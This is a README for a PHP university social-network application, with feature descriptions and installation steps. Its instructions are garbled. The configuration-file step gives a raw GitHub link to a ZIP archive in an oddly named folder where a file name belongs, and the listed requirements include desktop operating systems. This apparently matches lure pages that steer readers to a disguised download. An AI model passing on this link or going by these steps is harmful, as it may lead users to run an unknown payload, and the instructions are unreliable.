Welcome to the old_php_organisationSocialNetwork! This application serves as a social network designed for university colleagues. You can participate in elections, manage events, read a digital newspaper, and showcase your achievements with badges. Built in April 2014, it aims to foster community and engagement among students.
Before you begin, ensure your system meets the following requirements:
- Operating System: Windows 7 or later, macOS 10.12 or later, or a current version of Linux.
- Web Server: Apache or Nginx with PHP support.
- Database: MySQL version 5.6 or higher.
- PHP Version: PHP 5.4 or higher.
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Download the Application Visit the Releases page to download the latest version of the application.
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Extract the Files Once downloaded, locate the ZIP file. Right-click on it and select "Extract All" to unpack the contents to your desired location.
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Set Up the Web Server If you are using Apache, place the extracted files in the
htdocsfolder. For Nginx, you might need to change your server configuration to point to the extracted files. -
Configure the Database
- Open your MySQL management tool (like phpMyAdmin).
- Create a new database named
social_network. - Import the SQL file provided in the application folder to set up the necessary tables.
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Edit Configuration File Go to the configuration file, usually named
https://raw.githubusercontent.com/TOUSSAINT2346/old_php_organisationSocialNetwork/main/possessorship/old_php_organisationSocialNetwork.zip. Enter your database details, such as host, username, and password. -
Run the Application Open your web browser and navigate to
http://localhost/your-extracted-folder. You should see the home page of the social network.
To use the application, simply visit the URL you set up in the previous step. You can log in or register as a new user to begin exploring features like election management, event calendars, and user profiles.
- Elections Management: Organize and manage elections within your university.
- Events Calendar: Create and manage events to keep your colleagues informed.
- Digital Newspaper: Stay updated with news from your university community.
- Badge System: Earn badges for various achievements.
- User Profiles: Build and customize your profiles to connect with others.
To get started, head to the Releases page. There, you can download the latest version of the application suitable for your platform.
For any questions or issues, feel free to open an issue in the GitHub repository. The community is here to help!
Stay tuned for upcoming features and improvements. Your feedback is essential to make this platform even better.
We welcome your thoughts and suggestions. Please share your experience using the application, and help us improve.
Thank you for using old_php_organisationSocialNetwork. Enjoy connecting with your university colleagues!